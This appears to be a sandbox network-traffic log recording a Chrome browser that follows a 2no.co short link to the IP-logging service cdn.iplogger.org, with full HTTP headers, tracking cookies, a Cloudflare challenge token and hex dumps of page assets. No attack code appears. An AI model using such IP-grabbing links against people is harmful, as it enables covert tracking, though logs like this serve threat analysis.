eD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjMzEzMTMxIiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjMzEzMTMxIiBkPSJtMTAuOTU1IDE2LjA1NS0zLjk1LTQuMTI1LTEuNDQ1IDEuMzg1IDUuMzcgNS42MSA
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 70 70 65 72 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 3a 31 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 62 32 30 66 30 33 7d 2e 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 32 72 65 6d 20 30 7d 2e 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 2e 37 35 72 65 6d 7d 2e 68 32 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 2e 63 6f 72 65 2d 6d 73 67 2c 2e 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 32 35 72 65 6d 7d 2e 62 6f 64 79 2d 74 65 78 74 2c 2e 63 6f 72 Data Ascii: pper{align-items:center;display:flex;flex:1;flex-direction:column}.font-red{color:#b20f03}.spacer{margin:2rem 0}.h1{font-size:2.5rem;font-weight:500;line-height:3.75rem}.h2{font-weight:500}.core-msg,.h2{font-size:1.5rem;line-height:2.25rem}.body-text,.cor
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 4d 7a 45 7a 4d 54 4d 78 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 4d 7a 45 7a 4d 54 4d 78 49 69 42 6b 50 53 4a 74 4d 54 41 75 4f 54 55 31 49 44 45 32 4c 6a 41 31 4e 53 30 7a 4c 6a 6b 31 4c 54 51 75 4d 54 49 31 4c 54 45 75 4e Data Ascii: IgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjMzEzMTMxIiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjMzEzMTMxIiBkPSJtMTAuOTU1IDE2LjA1NS0zLjk1LTQuMTI1LTEuN
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6c 75 6d 6e 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 61 75 74 6f 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 6b 65 65 70 2d 61 6c 6c 7d 2e 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 7d 2e 6c 6f 61 64 69 6e 67 2d 73 70 69 6e 6e 65 72 7b 68 65 69 67 68 74 3a 37 36 2e 33 39 31 70 78 7d 2e 6c 64 73 2d 72 69 6e 67 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6c 64 73 2d 72 69 6e 67 2c 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 68 65 69 Data Ascii: ign:center}.column{padding-bottom:2rem}.clearfix .column{float:none;padding:0;width:auto;word-break:keep-all}.zone-name-title{margin-bottom:1rem}}.loading-spinner{height:76.391px}.lds-ring{display:inline-block;position:relative}.lds-ring,.lds-ring div{hei
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 76 49 64 3a 20 27 33 27 2c 63 5a 6f 6e 65 3a 20 22 63 64 6e 2e 69 70 6c 6f 67 67 65 72 2e 6f 72 67 22 2c 63 54 79 70 65 3a 20 27 6d 61 6e 61 67 65 64 27 2c 63 4e 6f 75 6e 63 65 3a 20 27 33 36 34 33 27 2c 63 52 61 79 3a 20 27 38 61 62 30 61 34 66 63 61 64 36 34 37 32 37 31 27 2c 63 48 61 73 68 3a 20 27 66 33 36 35 30 37 37 34 66 35 36 64 36 39 33 27 2c 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 72 65 64 69 72 65 63 74 5c 2f 68 61 6e 64 73 68 61 6b 65 2e 70 6e 67 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 4c 5f 33 46 56 6c 4a 36 33 46 57 71 53 6d 45 4f 51 34 4d 4d 6a 6f 49 39 54 4b 59 31 49 32 47 77 6b 74 48 35 7a 54 7a 37 66 70 6f 2d 31 37 32 32 32 39 33 31 38 30 2d 30 2e 30 2e 31 2e 31 Data Ascii: ion(){window._cf_chl_opt={cvId: '3',cZone: "cdn.iplogger.org",cType: 'managed',cNounce: '3643',cRay: '8ab0a4fcad647271',cHash: 'f3650774f56d693',cUPMDTk: "\/redirect\/handshake.png?__cf_chl_tk=L_3FVlJ63FWqSmEOQ4MMjoI9TKY1I2GwktH5zTz7fpo-1722293180-0.0.1.1
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 47 71 52 73 78 79 65 69 57 51 56 5f 57 39 45 5f 62 39 74 37 79 70 4e 2e 32 58 70 4f 51 50 44 4d 32 58 41 43 79 71 50 6b 6c 66 4f 68 4b 39 2e 49 52 4f 59 50 5a 72 39 66 4d 48 65 70 6a 6c 67 39 78 65 49 66 50 51 49 5a 31 43 49 65 59 44 69 4f 79 75 4b 67 5f 38 56 45 6c 35 30 74 55 61 52 73 56 74 32 55 62 43 52 64 5a 50 41 4d 2e 48 38 42 43 4e 38 48 6a 74 45 66 5f 61 37 44 32 7a 46 4a 71 4f 50 6d 4d 74 6c 74 6c 47 4a 4c 2e 70 36 39 46 44 46 53 54 58 48 47 67 75 66 64 4f 39 4f 32 65 65 61 6e 4d 69 63 57 4f 38 67 48 49 68 66 63 71 70 44 6d 6d 48 38 62 41 41 48 74 56 6d 4b 48 47 77 78 70 30 72 58 61 50 73 53 64 70 69 37 64 37 4a 76 59 6b 30 50 73 4c 38 4f 54 2e 50 73 79 33 67 69 64 62 4e 57 70 76 45 49 70 59 79 31 43 48 71 6e 67 65 6b 6f 68 42 62 79 41 36 51 79 Data Ascii: GqRsxyeiWQV_W9E_b9t7ypN.2XpOQPDM2XACyqPklfOhK9.IROYPZr9fMHepjlg9xeIfPQIZ1CIeYDiOyuKg_8VEl50tUaRsVt2UbCRdZPAM.H8BCN8HjtEf_a7D2zFJqOPmMtltlGJL.p69FDFSTXHGgufdO9O2eeanMicWO8gHIhfcqpDmmH8bAAHtVmKHGwxp0rXaPsSdpi7d7JvYk0PsL8OT.Psy3gidbNWpvEIpYy1CHqngekohBbyA6Qy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49718	88.212.201.198	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:21 UTC	664	OUT	GET /hit?t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396 HTTP/1.1 Host: counter.yadro.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://2no.co/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-29 22:46:21 UTC	601	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.17.9 Date: Mon, 29 Jul 2024 22:46:21 GMT Content-Type: text/html Content-Length: 32 Connection: close Location: https://counter.yadro.ru/hit?q;t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396 Expires: Sun, 30 Jul 2023 21:00:00 GMT Pragma: no-cache Cache-control: no-cache P3P: policyref="/w3c/p3p.xml", CP="UNI" Set-Cookie: FTID=1cg1kz1ZJrer1cg1kz0018T6; path=/; expires=Tue, 29 Jul 2025 21:00:00 GMT; HttpOnly; Secure; SameSite=None; domain=.yadro.ru Strict-Transport-Security: max-age=86400
2024-07-29 22:46:21 UTC	32	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 4d 6f 76 65 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body>Moved</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49724	35.190.80.1	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:21 UTC	535	OUT	OPTIONS /report/v4?s=u4EPwlIfu5u%2FXXj0kRaPdkPJwH6VqTzmIykH2X9%2Fyuj1FCpzRnd4kOm6Jqn1GDDAN13dvkMlZJ9E0adkpSW7TqU2KldHQHU11YPPbJtFEHxZlyRQ0Vh6q2i%2Fu8W3Miwh0Hqm HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cdn.iplogger.org Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-29 22:46:21 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 29 Jul 2024 22:46:21 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49725	88.212.201.198	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:22 UTC	705	OUT	GET /hit?q;t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396 HTTP/1.1 Host: counter.yadro.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://2no.co/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FTID=1cg1kz1ZJrer1cg1kz0018T6
2024-07-29 22:46:22 UTC	481	IN	HTTP/1.1 200 OK Server: nginx/1.17.9 Date: Mon, 29 Jul 2024 22:46:22 GMT Content-Type: image/gif Content-Length: 445 Connection: close Expires: Sun, 30 Jul 2023 21:00:00 GMT Pragma: no-cache Cache-control: no-cache P3P: policyref="/w3c/p3p.xml", CP="UNI" Set-Cookie: VID=2DNPIG0nbdur1cg1k-0018Z0; path=/; expires=Tue, 29 Jul 2025 21:00:00 GMT; HttpOnly; Secure; SameSite=None; domain=.yadro.ru Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=86400
2024-07-29 22:46:22 UTC	445	IN	Data Raw: 47 49 46 38 37 61 1f 00 1f 00 d5 00 00 02 02 02 82 56 06 da be 86 42 2e 0a c2 82 02 22 1a 06 a2 6a 06 32 26 08 62 42 06 de ae 42 fa de a1 b2 76 02 5a 4e 3e ea a2 16 2a 26 1a ee d6 aa 52 36 06 2a 22 0a da a2 2a 3a 26 08 94 62 06 da 92 02 a6 72 12 26 22 0b ac 72 02 4a 2e 0a ca 86 02 72 4a 06 fe de 9e ba 7a 02 f2 de ae 24 1e 0e 36 26 08 fe de 9a fe ba 32 fe c6 52 fe aa 02 5e 3e 08 8e 5e 06 9e 6a 06 7e 52 06 f2 da b2 4e 36 0a 6a 46 06 f7 de a6 26 1e 0a a5 6e 02 f2 da ae 56 3a 0a 3e 2a 08 de 96 06 4e 32 06 86 5a 06 46 2e 06 c6 86 02 b6 7a 02 2e 22 08 96 66 06 ae 76 02 ce 8a 02 76 4e 06 bc 7e 02 f6 de aa c6 82 02 2c 00 00 00 00 1f 00 1f 00 00 06 e2 c0 10 67 a8 28 16 59 48 96 6f e9 f3 bc 9e d0 94 54 fa 48 84 46 a4 ac 76 cb ed 76 1b 94 ab 77 4c d6 6a c2 d8 b2 9a Data Ascii: GIF87aVB."j2&bBBvZN>&R6":&br&"rJ.rJz$6&2R^>^j~RN6jF&nV:>N2ZF.z."fvvN~,g(YHoTHFvvwLj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49727	35.190.80.1	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:22 UTC	476	OUT	POST /report/v4?s=u4EPwlIfu5u%2FXXj0kRaPdkPJwH6VqTzmIykH2X9%2Fyuj1FCpzRnd4kOm6Jqn1GDDAN13dvkMlZJ9E0adkpSW7TqU2KldHQHU11YPPbJtFEHxZlyRQ0Vh6q2i%2Fu8W3Miwh0Hqm HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 424 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-29 22:46:22 UTC	424	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 36 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 32 6e 6f 2e 63 6f 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 33 32 2e 31 31 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f Data Ascii: [{"age":2,"body":{"elapsed_time":863,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://2no.co/","sampling_fraction":1.0,"server_ip":"172.67.132.113","status_code":403,"type":"http.error"},"type":"network-error","url":"https://
2024-07-29 22:46:22 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 29 Jul 2024 22:46:22 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49730	172.67.132.113	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:23 UTC	577	OUT	GET /favicon.ico HTTP/1.1 Host: cdn.iplogger.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://2no.co/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-29 22:46:23 UTC	767	IN	HTTP/1.1 200 OK Date: Mon, 29 Jul 2024 22:46:23 GMT Content-Type: image/x-icon Content-Length: 2833 Connection: close last-modified: Tue, 07 Jun 2022 11:44:38 GMT etag: "629f3a26-b11" strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5861 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ilFQQzuA4afABT3TeZRGQ7mBTEa%2Fy7Ruu2BC%2F4Qvx4L%2F%2BMrHA0jWLNTRhtENISkJp%2BObX0YaFw%2FZKf7iMW8%2BM1GrJyMWbTi29ir2FlUBOTMg%2B0GuHl%2FoJxyonQNEdTQhFnWU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ab0a50adc0543bf-EWR alt-svc: h3=":443"; ma=86400
2024-07-29 22:46:23 UTC	602	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 0a d8 49 44 41 54 78 9c dd 9b 7f 8c db 65 1d c7 5f 4f 73 6d 97 cb 85 bb 2c 75 59 96 73 59 49 9d 77 c7 24 c8 0c d1 8d 8e 1f 0a 0c b0 18 98 3a 56 6a 44 c6 cf 21 82 80 01 6f 25 86 ac 14 f9 35 24 82 0a a2 a0 d6 ca cf 09 96 20 28 99 93 3b 7e 38 06 22 ce eb c4 ba ce cb b2 10 68 2e bb cb 72 b9 5e 2f 7d fc e3 f3 7c d7 de 71 6d bf 4f af 77 18 df 49 f3 6d da ef e7 f9 3e cf e7 79 3e bf 3f 5f c5 02 c1 9b ce 3b 5f 3d c0 62 80 52 34 58 88 e5 34 c0 32 e0 88 f9 94 53 21 b5 50 d3 a2 6d 3e 07 f7 a6 f3 1d c0 2a 60 0d b0 1a e8 01 96 03 ed 40 1a b8 cc cc e1 4f 08 13 c6 80 5c 2c a7 f7 01 6f 00 83 40 2e 15 52 53 f3 35 c7 96 33 c0 9b ce b7 03 eb 81 4d c0 a9 40 a0 c6 ad 9e aa Data Ascii: PNGIHDR@@iqIDATxe_Osm,uYsYIw$:VjD!o%5$ (;~8"h.r^/}\|qmOwIm>y>?_;_=bR4X42S!Pm>*`@O\,o@.RS53M@
2024-07-29 22:46:23 UTC	1369	IN	Data Raw: 62 39 ed 41 64 f9 3c a0 0b 78 0a 38 08 4c 21 a7 a6 0b 38 13 b8 06 61 56 23 bc 0a 7c 3e 15 52 13 b3 fd 39 2b 03 bc e9 bc 0f 09 50 1a 1e a1 1a 98 04 7e 09 dc 5e 8a 06 f7 3b 3f fa 23 71 90 e3 b9 14 d9 c9 0e 64 87 47 80 61 60 a4 98 49 b8 f2 f5 63 39 dd 06 5c 0a dc 43 63 27 2c 09 6c 9d 2d ca ac c5 80 eb cd c0 cd e0 6d e4 48 ef 2e 45 83 ce a2 bb 81 0b 80 73 11 73 b5 98 e9 3a a0 6c 3e c3 c0 d5 c5 4c e2 05 00 ad 75 1b b2 db 67 23 51 e4 08 30 00 3c a5 94 1a 33 9a 7e 3d 62 9a eb b9 c5 93 c0 da 54 48 ed 99 f9 c7 87 18 e0 4d e7 bb 11 f7 f6 18 d7 4b ae e0 61 e0 da 52 34 38 0e e0 8f c4 57 02 5b 81 af 36 98 a0 83 3f 00 e7 16 33 89 29 ad f5 72 e0 57 48 64 38 13 07 81 6f 28 a5 5e 02 88 e5 f4 8d c0 5d 0d c6 7e 15 38 65 66 34 39 8d 01 46 eb ff 0c b8 c4 c5 64 ab 51 46 16 7a Data Ascii: b9Ad<x8L!8aV#\|>R9+P~^;?#qdGa`Ic9\Cc',l-mH.Ess:l>Lug#Q0<3~=bTHMKaR48W[6?3)rWHd8o(^]~8ef49FdQFz
2024-07-29 22:46:23 UTC	862	IN	Data Raw: c9 82 26 15 52 bb 81 53 80 8b 90 5d 1f 02 9e ab 1e 78 26 03 f6 21 b6 dd 16 97 63 62 84 62 26 f1 1e 70 16 92 d9 6d 45 3b eb 7e e0 4b c0 b7 8b 99 c4 64 b2 a0 bb 80 67 99 bd 4d cf 83 e4 fc ff 0a dc 9e 2c e8 2e a3 1f d2 48 0a 6c 93 c9 1c 1d c5 6c e5 f1 15 88 97 e4 36 de 9f 00 ce 2e 45 83 bb 7a 07 46 3d 80 2f 1b ee 9c 00 30 85 d2 9b 90 82 ab 6d b9 fd 00 f0 43 e0 a1 62 26 71 04 20 59 d0 3d 88 b2 76 eb f2 1e 44 aa d4 a9 fe c0 ec 4d d6 b5 1a 24 6e c6 5d 6f 90 d3 df f3 70 e8 e3 8b 41 3a 36 6e 40 52 da bb b2 e1 4e a7 41 22 80 14 25 23 88 e5 58 86 ec 96 a7 6a 9c 29 c4 b1 1a 44 76 78 67 95 99 23 59 d0 01 20 4b 73 3d 8a 83 c0 19 fd 81 0f b7 c9 d4 ca 06 6d 47 ec 6a a3 2a ef 76 e0 e1 52 34 08 03 a3 5f 40 76 6c 11 92 d4 dc d1 3b 30 ba 0d d8 9b 0d 77 16 10 65 f9 a8 3f 12 Data Ascii: &RS]x&!cbb&pmE;~KdgM,.Hll6.EzF=/0mCb&q Y=vDM$n]opA:6n@RNA"%#Xj)Dvxg#Y Ks=mGj*vR4_@vl;0we?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49731	88.212.201.204	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:23 UTC	509	OUT	GET /hit?q;t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396 HTTP/1.1 Host: counter.yadro.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FTID=1cg1kz1ZJrer1cg1kz0018T6; VID=2DNPIG0nbdur1cg1k-0018Z0
2024-07-29 22:46:23 UTC	459	IN	HTTP/1.1 200 OK Server: nginx/1.17.9 Date: Mon, 29 Jul 2024 22:46:23 GMT Content-Type: image/gif Content-Length: 445 Connection: close Expires: Sun, 30 Jul 2023 21:00:00 GMT Pragma: no-cache Cache-control: no-cache P3P: policyref="/w3c/p3p.xml", CP="UNI" Set-Cookie: FTID=0; path=/; expires=Sat, 01 Jan 2000 00:00:00 GMT; HttpOnly; Secure; SameSite=None; domain=.yadro.ru Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=86400
2024-07-29 22:46:23 UTC	445	IN	Data Raw: 47 49 46 38 37 61 1f 00 1f 00 d5 00 00 02 02 02 82 56 06 da be 86 42 2e 0a c2 82 02 22 1a 06 a2 6a 06 32 26 08 62 42 06 de ae 42 fa de a1 b2 76 02 5a 4e 3e ea a2 16 2a 26 1a ee d6 aa 52 36 06 2a 22 0a da a2 2a 3a 26 08 94 62 06 da 92 02 a6 72 12 26 22 0b ac 72 02 4a 2e 0a ca 86 02 72 4a 06 fe de 9e ba 7a 02 f2 de ae 24 1e 0e 36 26 08 fe de 9a fe ba 32 fe c6 52 fe aa 02 5e 3e 08 8e 5e 06 9e 6a 06 7e 52 06 f2 da b2 4e 36 0a 6a 46 06 f7 de a6 26 1e 0a a5 6e 02 f2 da ae 56 3a 0a 3e 2a 08 de 96 06 4e 32 06 86 5a 06 46 2e 06 c6 86 02 b6 7a 02 2e 22 08 96 66 06 ae 76 02 ce 8a 02 76 4e 06 bc 7e 02 f6 de aa c6 82 02 2c 00 00 00 00 1f 00 1f 00 00 06 e2 c0 10 67 a8 28 16 59 48 96 6f e9 f3 bc 9e d0 94 54 fa 48 84 46 a4 ac 76 cb ed 76 1b 94 ab 77 4c d6 6a c2 d8 b2 9a Data Ascii: GIF87aVB."j2&bBBvZN>&R6":&br&"rJ.rJz$6&2R^>^j~RN6jF&nV:>N2ZF.z."fvvN~,g(YHoTHFvvwLj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49734	172.67.132.113	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:23 UTC	351	OUT	GET /favicon.ico HTTP/1.1 Host: cdn.iplogger.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-29 22:46:23 UTC	761	IN	HTTP/1.1 200 OK Date: Mon, 29 Jul 2024 22:46:23 GMT Content-Type: image/x-icon Content-Length: 2833 Connection: close last-modified: Tue, 07 Jun 2022 11:44:38 GMT etag: "629f3a26-b11" strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5861 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Fq8xFJxy1CFmg%2FhGgtf8tpavgBYSBpENAHMDTzb5qzGD8spBaYR3KLF0dIK1SGQYi4BDQyuc%2F%2BJoEPk6ZIULhvfAK5AitLlt0QPfLImLw6C%2BHGFgqz9AwqgoFYmP%2FgKxm%2FQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ab0a50f09870f5f-EWR alt-svc: h3=":443"; ma=86400
2024-07-29 22:46:23 UTC	608	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 0a d8 49 44 41 54 78 9c dd 9b 7f 8c db 65 1d c7 5f 4f 73 6d 97 cb 85 bb 2c 75 59 96 73 59 49 9d 77 c7 24 c8 0c d1 8d 8e 1f 0a 0c b0 18 98 3a 56 6a 44 c6 cf 21 82 80 01 6f 25 86 ac 14 f9 35 24 82 0a a2 a0 d6 ca cf 09 96 20 28 99 93 3b 7e 38 06 22 ce eb c4 ba ce cb b2 10 68 2e bb cb 72 b9 5e 2f 7d fc e3 f3 7c d7 de 71 6d bf 4f af 77 18 df 49 f3 6d da ef e7 f9 3e cf e7 79 3e bf 3f 5f c5 02 c1 9b ce 3b 5f 3d c0 62 80 52 34 58 88 e5 34 c0 32 e0 88 f9 94 53 21 b5 50 d3 a2 6d 3e 07 f7 a6 f3 1d c0 2a 60 0d b0 1a e8 01 96 03 ed 40 1a b8 cc cc e1 4f 08 13 c6 80 5c 2c a7 f7 01 6f 00 83 40 2e 15 52 53 f3 35 c7 96 33 c0 9b ce b7 03 eb 81 4d c0 a9 40 a0 c6 ad 9e aa Data Ascii: PNGIHDR@@iqIDATxe_Osm,uYsYIw$:VjD!o%5$ 